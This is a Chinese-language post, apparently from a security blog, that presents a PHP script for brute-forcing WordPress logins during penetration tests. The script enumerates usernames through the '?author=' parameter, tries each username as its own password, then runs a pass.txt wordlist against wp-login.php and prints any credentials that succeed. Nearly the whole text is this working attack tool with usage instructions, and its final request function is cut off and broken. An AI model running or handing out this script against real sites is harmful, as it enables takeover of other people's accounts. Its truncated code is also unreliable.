在做渗透测试的时候，有时候会遇到一个wordpress博客，如果版本比较新，插件也没有漏洞的话，可以爆破用户名密码来尝试下。
大脑混沌情况下写的，有bug欢迎提出，由于是php的所以跑起来比较慢，下次发包还是调用命令结合hydra来爆破。
原理是通过URL/?author=遍历获取用户名，然后先跑用户名与密码相同的用户，再调用同目录下pass.txt中的密码文件进行爆破。
默认获取前10个用户，可自行修改。
使用方法：
php wordpress.php http://www.test.com
``````
<?php
set_time_limit(0);
$domain = $argv[1];
//获取用户名
for ($i=1; $i <= 10; $i++) {
$url = $domain."/?author=".$i;
$response = httprequest($url,0);
if ($response == 404) {
continue;
}
$pattern = "/author\/(.*)\/feed/";
preg_match($pattern, $response, $name);
$namearray[] = $name[1];
}
echo "共获取用户".count($namearray)."名用户\n";
echo "正在破解用户名与密码相同的用户：\n";
$crackname = crackpassword($namearray,"same");
$passwords = file("pass.txt");
echo "正在破解弱口令用户：\n";
if ($crackname) {
$namearray = array_diff($namearray,$crackname);
}
crackpassword($namearray,$passwords);
function crackpassword($namearray,$passwords){
global $domain;
$crackname = "";
foreach ($namearray as $name) {
$url = $domain."/wp-login.php";
if ($passwords == "same") {
$post = "log=".urlencode($name)."&pwd=".urlencode($name)."&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=".urlencode($domain)."%2Fwp-admin%2F&testcookie=1";
$pos = strpos(httprequest($url,$post),'div id="login_error"');
if ($pos === false) {
echo "$name $name"."\n";
$crackname[] = $name;
}
}else{
foreach ($passwords as $pass) {
$post = "log=".urlencode($name)."&pwd=".urlencode($pass)."&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=".urlencode($domain)."%2Fwp-admin%2F&testcookie=1";
$pos = strpos(httprequest($url,$post),'div id="login_error"');
if ($pos === false) {
echo "$name $pass"."\n";
}
}
}
}
return $crackname;
}
function httprequest($url,$post){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$url");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
if($post){
curl_setopt($ch, CURLOPT_POST, 1);//post提交方式

curl_close($ch);
if ($httpcode == 404) {

return $output;
